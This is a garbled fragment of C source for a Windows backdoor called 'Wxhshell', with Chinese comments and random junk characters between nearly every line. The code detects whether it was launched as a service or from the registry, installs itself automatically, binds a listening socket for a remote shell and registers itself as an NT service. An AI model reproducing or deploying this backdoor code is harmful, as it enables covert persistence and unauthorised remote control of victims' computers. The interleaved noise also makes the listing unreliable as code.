</ZDo NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /J{P8=x}_: ? ]kIztH if (!NtQueryInformationProcess) return 0; 3zWY%(8t4? SL%4w< hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); HW.S~eLw* if(!hProcess) return 0; aH"tSgi jE2ziK if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BHZGQm .h~)|"uzW CloseHandle(hProcess); Yz-b~D/=} L$@RSKYp hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (O&~*7D* if(hProcess==NULL) return 0; 6EX:qp^` PK3T@Qv89 HMODULE hMod; a^Zn
}R r char procName[255]; )}G
HG#D{ unsigned long cbNeeded; YqNhD6 B TcxBh if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Kn\Oj=4 *WMcE$w/D CloseHandle(hProcess); 0C3Yina9
* )E6m}? H5 if(strstr(procName,"services")) return 1; // 以服务启动 V7rcnk# '^Sa|WXq return 0; // 注册表启动 dhm; } #B+2qD>E & rw|fF|] // 主模块 OY"{XnPZ int StartWxhshell(LPSTR lpCmdLine) 3%<ia$ { @ULr)&9 SOCKET wsl; [FyE{NfiJ% BOOL val=TRUE; 7;|6g8= int port=0; l[\[)X3$ struct sockaddr_in door; zI7-xqZ BIcE3}dS8 if(wscfg.ws_autoins) Install(); NRoi`
IIj &,)9cV / port=atoi(lpCmdLine); @*%.V. u{>5 if(port<=0) port=wscfg.ws_port; >DbG$V<v' ?FMHK\ WSADATA data; )QI]b4[ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d(To)ly. 4|++0=#D$ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; %f{kT<XHu setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M6 0(yTm door.sin_family = AF_INET; u:m]-' door.sin_addr.s_addr = inet_addr("127.0.0.1"); w,`x(!& door.sin_port = htons(port); [IV8 zD) 2af if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nHT2M{R closesocket(wsl); `?Y/:4 return 1; CiPD+I } Keof{>V=CA y!aq}YS if(listen(wsl,2) == INVALID_SOCKET) { YO-O-NEP closesocket(wsl); pOS.`rSK return 1; 0Y!Bb2m } ~Dkje Wxhshell(wsl); >nl*aN WSACleanup(); qvYw[D#. Wb*d`hzQ} return 0; -4hX- k#&y } 6Ajiz_~U U 2\{(y // 以NT服务方式启动 |5![k<o# VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0V`/oaW; { _Thc\{aV# DWORD status = 0; jRq>Sz{8 DWORD specificError = 0xfffffff; k`TEA?RfQ 0Y"==g+>f serviceStatus.dwServiceType = SERVICE_WIN32; y4envjl0 serviceStatus.dwCurrentState = SERVICE_START_PENDING; OwDjUKeN serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Txw,B2e)> serviceStatus.dwWin32ExitCode = 0; /wvA]ooT serviceStatus.dwServiceSpecificExitCode = 0; Re.fS6y$> serviceStatus.dwCheckPoint = 0; =ohdL_6 serviceStatus.dwWaitHint = 0; +F67g00T| 1>|p1YZ" hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gk]r:p< |